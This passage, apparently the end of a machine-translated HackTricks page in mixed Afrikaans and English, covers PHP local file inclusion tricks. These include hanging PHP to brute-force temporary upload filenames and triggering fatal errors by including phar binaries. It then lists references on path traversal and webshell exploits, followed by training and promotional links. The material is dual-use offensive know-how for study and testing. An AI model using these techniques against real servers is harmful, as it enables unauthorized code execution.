As jy die LFI kan misbruik om upload temporary files en die server se PHP-uitvoering te laat hang, kan jy daarna brute force filenames during hours om die temporĂȘre lĂȘer te vind:
Na Fatal Error
If you include any of the files /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (You need to include the same one 2 time to throw that error).
Ek weet nie hoe dit nuttig is nie, maar dit kan wees.
Selfs as jy 'n PHP Fatal Error veroorsaak, word PHP temporĂȘre lĂȘers wat opgelaai is verwyder.
.png)
References
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai â From Support Ticket to Zero Day (FreeFlow Core path traversal â arbitrary write â webshell)
- Xerox Security Bulletin 025-013 â FreeFlow Core 8.0.5
- watchTowr â We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai â Confusion Attacks on Apache
- VTENEXT 25.02 â a three-way path to RCE
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.